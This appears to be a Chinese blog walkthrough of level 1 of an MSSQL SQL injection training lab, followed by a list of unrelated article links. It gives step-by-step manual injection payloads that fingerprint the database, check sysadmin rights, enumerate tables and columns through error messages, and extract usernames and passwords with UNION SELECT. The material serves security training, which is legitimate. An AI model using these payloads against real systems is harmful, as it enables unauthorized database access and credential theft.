当前位置: 首页 > article >正文

MSSQL靶场(手工注入)通关攻略 第一关

第一关

步骤一:判断是否存在注入
http://172.16.0.87/less-1.asp?id=1'

http://172.16.0.87/less-1.asp?id=1%27--+

发现加入单引号时报错,但是注释掉后面的之后的就正常了,所以他是单引号闭合的字符型

根据报错的回显信息可以得到这关的数据类型为字符型

第二步:判断是否是MSSQL数据库

方法:通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是

MSSQL

'and exists(select * from sysobjects)--+

回显正常,确定使用的是MSSQL数据库

第三步:判断注入点权限
1.1判断当前是否为sa
' and exists(select is_srvrolemember('sysadmin'))--+

页面回显正常,确实是sa

1.2判断当前用户写文件、读文件的权限(db_owner)
' and (select is_srvrolemember('db_owner'))>1--

第四步:查询数据库信息

方法:user回显的dbo表示是最高权限,如果是⽤户的名字表示是普通权限

注:union select user,null,null

user:查询用户

db_name():查询数据库名

@@version:查询版本信息

union select 1,user,db_name()--+

由回显信息可知用户是最高权限

第五步:猜数据库中的表
and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1--+

由报错信息可知第一个表为users表,接着查询第二个表

and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users')--+

第二个表为emails,接着查询第三个表

and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails')--+

得到第三个表uagents,查第四个表

and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents')--+

得到第四个表uagents,查第五个表

and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referer
s')--+

回显为空,说明只有四张表

第六步:查询表中的字段信息

先查询users表内的所有字段名

having 1=1--+

group by id having 1=1--+

group by id,username having 1=1--+

通过报错可以得到 users 表的字段名为 id,username,password

第七步:查询表中的数据
1.1查询字段数据
order by 3--+
order by 4--+

根据报错可知有3列

1.2回显存在内容的字段
-1' union select 1,2,3 from users--+

1.3查询字段内容
-1' union all select 1,(select top 1 username from users),'3'--+

-1' union all select 1,2,(select top 1 password from users)--+

-1'union select 1,username,password from users--+


http://www.kler.cn/a/428767.html

相关文章:

  • 高频词汇背诵 Day1
  • vue3使用音频audio标签
  • 2024年第十五届蓝桥杯青少组国赛(c++)真题—快速分解质因数
  • 第七篇:vue3 计算属性:computed
  • BUUCTF_Web([GYCTF2020]Ezsqli)
  • 电脑换固态硬盘
  • 《Java 中 JDBC 连接 MySQL 实现增删改查全攻略》
  • jeccg-boot修改密码
  • tcp_recvmsg 函数
  • 如何在 Redis 上配置 SSL/TLS ?
  • PDF文件打开之后不能打印,怎么解决?
  • Lakehouse 架构下的元数据“大一统”管理深度解析
  • 根据时钟周期来做判断,怎么理清逻辑,计数器的逻辑,握手
  • Docker(一)
  • 【gitLab正常使用记录】
  • 《MySQL 表结构设计基础》
  • 企业数字化转型:从爆品起步,迈向生态平台
  • uniapp h5 vue3 m3u8 和 mp4 外链视频播放
  • LeetCode45:跳跃游戏II
  • 【CSS in Depth 2 精译_067】11.2 颜色的定义(中):CSS 中的色域与色彩空间
  • C# GDI绘制的倒计时控件
  • 数组 - 八皇后 - 困难
  • 模拟IC设计中LDO的学习笔记(一)
  • 【C#】NET 9中LINQ的新特性-CountBy
  • 【Pandas】pandas wide_to_long
  • AWS Kinesis Firehose 权限配置完全指南